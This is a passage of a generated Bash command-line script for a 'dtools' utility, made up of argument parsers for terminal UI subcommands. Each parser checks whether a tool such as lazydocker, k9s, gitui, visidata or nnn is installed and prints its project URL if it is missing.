long_usage=yes dtools_tui_network_carbonyl_usage exit ;; *) break ;; esac done missing_deps= if ! command -v carbonyl >/dev/null 2>&1; then printf "missing dependency: carbonyl\n" >&2 printf "%s\n\n" "See 'https://github.com/fathyb/carbonyl'" >&2 missing_deps=1 else deps['carbonyl']="$(command -v carbonyl | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network carbonyl" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_http_request_client_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_http_request_client_usage exit ;; *) break ;; esac done missing_deps= if ! command -v wuzz >/dev/null 2>&1; then printf "missing dependency: wuzz\n" >&2 printf "%s\n\n" "See 'https://github.com/asciimoo/wuzz'" >&2 missing_deps=1 else deps['wuzz']="$(command -v wuzz | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network http-request-client" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_http_request_client_2_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_http_request_client_2_usage exit ;; *) break ;; esac done missing_deps= if ! command -v slumber >/dev/null 2>&1; then printf "missing dependency: slumber\n" >&2 printf "%s\n\n" "See 'https://slumber.lucaspickering.me/'" >&2 missing_deps=1 else deps['slumber']="$(command -v slumber | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network http-request-client-2" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_network_api_client_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_network_api_client_usage exit ;; *) break ;; esac done missing_deps= if ! command -v atac >/dev/null 2>&1; then printf "missing dependency: atac\n" >&2 printf "%s\n\n" "See 'https://atac.julien-cpsn.com/'" >&2 missing_deps=1 else deps['atac']="$(command -v atac | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui network api-client" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_docker_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_docker_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; docker) action="docker" shift dtools_tui_docker_docker_parse_requirements "$@" shift $# ;; docker-layer-analyzer) action="docker-layer-analyzer" shift dtools_tui_docker_docker_layer_analyzer_parse_requirements "$@" shift $# ;; kubernetes) action="kubernetes" shift dtools_tui_docker_kubernetes_parse_requirements "$@" shift $# ;; "") dtools_tui_docker_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_docker_docker_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_docker_docker_usage exit ;; *) break ;; esac done missing_deps= if ! command -v lazydocker >/dev/null 2>&1; then printf "missing dependency: lazydocker\n" >&2 printf "%s\n\n" "See 'https://github.com/jesseduffield/lazydocker'" >&2 missing_deps=1 else deps['lazydocker']="$(command -v lazydocker | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui docker docker" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_docker_docker_layer_analyzer_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_docker_docker_layer_analyzer_usage exit ;; *) break ;; esac done missing_deps= if ! command -v dive >/dev/null 2>&1; then printf "missing dependency: dive\n" >&2 printf "%s\n\n" "See 'https://github.com/wagoodman/dive'" >&2 missing_deps=1 else deps['dive']="$(command -v dive | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui docker docker-layer-analyzer" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_docker_kubernetes_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_docker_kubernetes_usage exit ;; *) break ;; esac done missing_deps= if ! command -v k9s >/dev/null 2>&1; then printf "missing dependency: k9s\n" >&2 printf "%s\n\n" "See 'https://github.com/derailed/k9s'" >&2 missing_deps=1 else deps['k9s']="$(command -v k9s | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui docker kubernetes" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; git) action="git" shift dtools_tui_development_git_parse_requirements "$@" shift $# ;; jira) action="jira" shift dtools_tui_development_jira_parse_requirements "$@" shift $# ;; readme) action="readme" shift dtools_tui_development_readme_parse_requirements "$@" shift $# ;; tail-logs) action="tail-logs" shift dtools_tui_development_tail_logs_parse_requirements "$@" shift $# ;; drft) action="drft" shift dtools_tui_development_drft_parse_requirements "$@" shift $# ;; wrkflw) action="wrkflw" shift dtools_tui_development_wrkflw_parse_requirements "$@" shift $# ;; gama) action="gama" shift dtools_tui_development_gama_parse_requirements "$@" shift $# ;; ecs) action="ecs" shift dtools_tui_development_ecs_parse_requirements "$@" shift $# ;; openapi) action="openapi" shift dtools_tui_development_openapi_parse_requirements "$@" shift $# ;; gcs) action="gcs" shift dtools_tui_development_gcs_parse_requirements "$@" shift $# ;; prs) action="prs" shift dtools_tui_development_prs_parse_requirements "$@" shift $# ;; s3) action="s3" shift dtools_tui_development_s3_parse_requirements "$@" shift $# ;; terraform) action="terraform" shift dtools_tui_development_terraform_parse_requirements "$@" shift $# ;; journal) action="journal" shift dtools_tui_development_journal_parse_requirements "$@" shift $# ;; multi-host-log-viewer) action="multi-host-log-viewer" shift dtools_tui_development_multi_host_log_viewer_parse_requirements "$@" shift $# ;; "") dtools_tui_development_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_git_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_git_usage exit ;; *) break ;; esac done missing_deps= if ! command -v gitui >/dev/null 2>&1; then printf "missing dependency: gitui\n" >&2 printf "%s\n\n" "See 'https://github.com/gitui-org/gitui'" >&2 missing_deps=1 else deps['gitui']="$(command -v gitui | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development git" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_jira_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_jira_usage exit ;; *) break ;; esac done missing_deps= if ! command -v jirust >/dev/null 2>&1; then printf "missing dependency: jirust\n" >&2 printf "%s\n\n" "See 'https://github.com/Code-Militia/jirust'" >&2 missing_deps=1 else deps['jirust']="$(command -v jirust | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development jira" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_readme_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_readme_usage exit ;; *) break ;; esac done missing_deps= if ! command -v glow >/dev/null 2>&1; then printf "missing dependency: glow\n" >&2 printf "%s\n\n" "See 'https://github.com/charmbracelet/glow'" >&2 missing_deps=1 else deps['glow']="$(command -v glow | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development readme" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_tail_logs_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_tail_logs_usage exit ;; *) break ;; esac done missing_deps= if ! command -v lnav >/dev/null 2>&1; then printf "missing dependency: lnav\n" >&2 printf "%s\n\n" "See 'https://lnav.readthedocs.io/en/latest/'" >&2 missing_deps=1 else deps['lnav']="$(command -v lnav | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development tail-logs" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_drft_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_drft_usage exit ;; *) break ;; esac done missing_deps= if ! command -v drft >/dev/null 2>&1; then printf "missing dependency: drft\n" >&2 printf "%s\n\n" "See 'https://codeberg.org/nightsail/drft'" >&2 missing_deps=1 else deps['drft']="$(command -v drft | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development drft" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_wrkflw_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_wrkflw_usage exit ;; *) break ;; esac done missing_deps= if ! command -v wrkflw >/dev/null 2>&1; then printf "missing dependency: wrkflw\n" >&2 printf "%s\n\n" "See 'https://github.com/bahdotsh/wrkflw'" >&2 missing_deps=1 else deps['wrkflw']="$(command -v wrkflw | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development wrkflw" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_gama_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_gama_usage exit ;; *) break ;; esac done missing_deps= if ! command -v actions >/dev/null 2>&1; then printf "missing dependency: actions\n" >&2 printf "%s\n\n" "See 'https://github.com/termkit/gama'" >&2 missing_deps=1 else deps['actions']="$(command -v actions | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development gama" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_ecs_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_ecs_usage exit ;; *) break ;; esac done missing_deps= if ! command -v e1s >/dev/null 2>&1; then printf "missing dependency: e1s\n" >&2 printf "%s\n\n" "See 'https://github.com/keidarcy/e1s'" >&2 missing_deps=1 else deps['e1s']="$(command -v e1s | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development ecs" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_openapi_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_openapi_usage exit ;; *) break ;; esac done missing_deps= if ! command -v openapi-tui >/dev/null 2>&1; then printf "missing dependency: openapi-tui\n" >&2 printf "%s\n\n" "See 'https://github.com/zaghaghi/openapi-tui'" >&2 missing_deps=1 else deps['openapi-tui']="$(command -v openapi-tui | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development openapi" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_gcs_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_gcs_usage exit ;; *) break ;; esac done missing_deps= if ! command -v burf >/dev/null 2>&1; then printf "missing dependency: burf\n" >&2 printf "%s\n\n" "See 'https://github.com/razeghi71/burf'" >&2 missing_deps=1 else deps['burf']="$(command -v burf | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development gcs" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['gcs_url']+x} ]]; then args['gcs_url']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['gcs_url']+x} ]]; then printf "missing required argument: GCS_URL\nusage: dtools tui development gcs GCS_URL\n" >&2 exit 1 fi } dtools_tui_development_prs_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_prs_usage exit ;; *) break ;; esac done missing_deps= if ! command -v prs >/dev/null 2>&1; then printf "missing dependency: prs\n" >&2 printf "%s\n\n" "See 'https://github.com/dhth/prs'" >&2 missing_deps=1 else deps['prs']="$(command -v prs | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development prs" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_s3_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_s3_usage exit ;; *) break ;; esac done missing_deps= if ! command -v stu >/dev/null 2>&1; then printf "missing dependency: stu\n" >&2 printf "%s\n\n" "See 'https://lusingander.github.io/stu/'" >&2 missing_deps=1 else deps['stu']="$(command -v stu | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development s3" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_terraform_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_terraform_usage exit ;; *) break ;; esac done missing_deps= if ! command -v pug >/dev/null 2>&1; then printf "missing dependency: pug\n" >&2 printf "%s\n\n" "See 'https://github.com/leg100/pug'" >&2 missing_deps=1 else deps['pug']="$(command -v pug | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development terraform" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --terraform) args['--terraform']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_journal_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_journal_usage exit ;; *) break ;; esac done missing_deps= if ! command -v lazyjournal >/dev/null 2>&1; then printf "missing dependency: lazyjournal\n" >&2 printf "%s\n\n" "See 'https://github.com/Lifailon/lazyjournal'" >&2 missing_deps=1 else deps['lazyjournal']="$(command -v lazyjournal | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development journal" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_development_multi_host_log_viewer_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_development_multi_host_log_viewer_usage exit ;; *) break ;; esac done missing_deps= if ! command -v nerdlog >/dev/null 2>&1; then printf "missing dependency: nerdlog\n" >&2 printf "%s\n\n" "See 'https://github.com/dimonomid/nerdlog'" >&2 missing_deps=1 else deps['nerdlog']="$(command -v nerdlog | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui development multi-host-log-viewer" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_dev_help_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_dev_help_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; stack-overflow) action="stack-overflow" shift dtools_tui_dev_help_stack_overflow_parse_requirements "$@" shift $# ;; wiki) action="wiki" shift dtools_tui_dev_help_wiki_parse_requirements "$@" shift $# ;; "") dtools_tui_dev_help_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_dev_help_stack_overflow_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_dev_help_stack_overflow_usage exit ;; *) break ;; esac done missing_deps= if ! command -v so >/dev/null 2>&1; then printf "missing dependency: so\n" >&2 printf "%s\n\n" "See 'https://github.com/samtay/so'" >&2 missing_deps=1 else deps['so']="$(command -v so | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui dev-help stack-overflow" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_dev_help_wiki_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_dev_help_wiki_usage exit ;; *) break ;; esac done missing_deps= if ! command -v wiki-tui >/dev/null 2>&1; then printf "missing dependency: wiki-tui\n" >&2 printf "%s\n\n" "See 'https://wiki-tui.net/latest/'" >&2 missing_deps=1 else deps['wiki-tui']="$(command -v wiki-tui | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui dev-help wiki" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_data_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_data_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; db) action="db" shift dtools_tui_data_db_parse_requirements "$@" shift $# ;; explorer) action="explorer" shift dtools_tui_data_explorer_parse_requirements "$@" shift $# ;; database-ide) action="database-ide" shift dtools_tui_data_database_ide_parse_requirements "$@" shift $# ;; kafka) action="kafka" shift dtools_tui_data_kafka_parse_requirements "$@" shift $# ;; jupyter-notebook) action="jupyter-notebook" shift dtools_tui_data_jupyter_notebook_parse_requirements "$@" shift $# ;; "") dtools_tui_data_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_data_db_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_data_db_usage exit ;; *) break ;; esac done missing_deps= if ! command -v gobang >/dev/null 2>&1; then printf "missing dependency: gobang\n" >&2 printf "%s\n\n" "See 'https://github.com/TaKO8Ki/gobang'" >&2 missing_deps=1 else deps['gobang']="$(command -v gobang | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui data db" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_data_explorer_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_data_explorer_usage exit ;; *) break ;; esac done missing_deps= if ! command -v visidata >/dev/null 2>&1; then printf "missing dependency: visidata\n" >&2 printf "%s\n\n" "See 'https://www.visidata.org/'" >&2 missing_deps=1 else deps['visidata']="$(command -v visidata | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui data explorer" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_data_database_ide_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_data_database_ide_usage exit ;; *) break ;; esac done missing_deps= if ! command -v harlequin >/dev/null 2>&1; then printf "missing dependency: harlequin\n" >&2 printf "%s\n\n" "See 'https://harlequin.sh'" >&2 missing_deps=1 else deps['harlequin']="$(command -v harlequin | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui data database-ide" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_data_kafka_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_data_kafka_usage exit ;; *) break ;; esac done missing_deps= if ! command -v yozefu >/dev/null 2>&1; then printf "missing dependency: yozefu\n" >&2 printf "%s\n\n" "See 'https://github.com/MAIF/yozefu'" >&2 missing_deps=1 else deps['yozefu']="$(command -v yozefu | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui data kafka" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_data_jupyter_notebook_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_data_jupyter_notebook_usage exit ;; *) break ;; esac done missing_deps= if ! command -v euporie-notebook >/dev/null 2>&1; then printf "missing dependency: euporie-notebook\n" >&2 printf "%s\n\n" "See 'https://euporie.readthedocs.io/en/latest/'" >&2 missing_deps=1 else deps['euporie-notebook']="$(command -v euporie-notebook | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui data jupyter-notebook" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; notes) action="notes" shift dtools_tui_misc_notes_parse_requirements "$@" shift $# ;; presentation) action="presentation" shift dtools_tui_misc_presentation_parse_requirements "$@" shift $# ;; dev-chat) action="dev-chat" shift dtools_tui_misc_dev_chat_parse_requirements "$@" shift $# ;; file-manager) action="file-manager" shift dtools_tui_misc_file_manager_parse_requirements "$@" shift $# ;; screensaver) action="screensaver" shift dtools_tui_misc_screensaver_parse_requirements "$@" shift $# ;; weather) action="weather" shift dtools_tui_misc_weather_parse_requirements "$@" shift $# ;; linutil) action="linutil" shift dtools_tui_misc_linutil_parse_requirements "$@" shift $# ;; slack) action="slack" shift dtools_tui_misc_slack_parse_requirements "$@" shift $# ;; youtube-music) action="youtube-music" shift dtools_tui_misc_youtube_music_parse_requirements "$@" shift $# ;; youtube-music-2) action="youtube-music-2" shift dtools_tui_misc_youtube_music_2_parse_requirements "$@" shift $# ;; jellyfin) action="jellyfin" shift dtools_tui_misc_jellyfin_parse_requirements "$@" shift $# ;; visualizations) action="visualizations" shift dtools_tui_misc_visualizations_parse_requirements "$@" shift $# ;; visualizations-2) action="visualizations-2" shift dtools_tui_misc_visualizations_2_parse_requirements "$@" shift $# ;; find-and-replace) action="find-and-replace" shift dtools_tui_misc_find_and_replace_parse_requirements "$@" shift $# ;; ascii-theater) action="ascii-theater" shift dtools_tui_misc_ascii_theater_parse_requirements "$@" shift $# ;; calendar) action="calendar" shift dtools_tui_misc_calendar_parse_requirements "$@" shift $# ;; piano) action="piano" shift dtools_tui_misc_piano_parse_requirements "$@" shift $# ;; servarr) action="servarr" shift dtools_tui_misc_servarr_parse_requirements "$@" shift $# ;; "") dtools_tui_misc_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_notes_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_notes_usage exit ;; *) break ;; esac done missing_deps= if ! command -v joplin >/dev/null 2>&1; then printf "missing dependency: joplin\n" >&2 printf "%s\n\n" "See 'https://joplinapp.org/help/apps/terminal/'" >&2 missing_deps=1 else deps['joplin']="$(command -v joplin | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc notes" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_presentation_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_presentation_usage exit ;; *) break ;; esac done missing_deps= if ! command -v patat >/dev/null 2>&1; then printf "missing dependency: patat\n" >&2 printf "%s\n\n" "See 'https://github.com/jaspervdj/patat'" >&2 missing_deps=1 else deps['patat']="$(command -v patat | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc presentation" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_dev_chat_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_dev_chat_usage exit ;; *) break ;; esac done action="tui misc dev-chat" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['nickname']+x} ]]; then args['nickname']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['nickname']+x} ]]; then printf "missing required argument: NICKNAME\nusage: dtools tui misc dev-chat NICKNAME\n" >&2 exit 1 fi } dtools_tui_misc_file_manager_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_file_manager_usage exit ;; *) break ;; esac done missing_deps= if ! command -v nnn >/dev/null 2>&1; then printf "missing dependency: nnn\n" >&2 printf "%s\n\n" "See 'https://github.com/jarun/nnn'" >&2 missing_deps=1 else deps['nnn']="$(command -v nnn | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc file-manager" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_screensaver_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_screensaver_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ttysvr >/dev/null 2>&1; then printf "missing dependency: ttysvr\n" >&2 printf "%s\n\n" "See 'https://github.com/cxreiff/ttysvr'" >&2 missing_deps=1 else deps['ttysvr']="$(command -v ttysvr | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc screensaver" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } 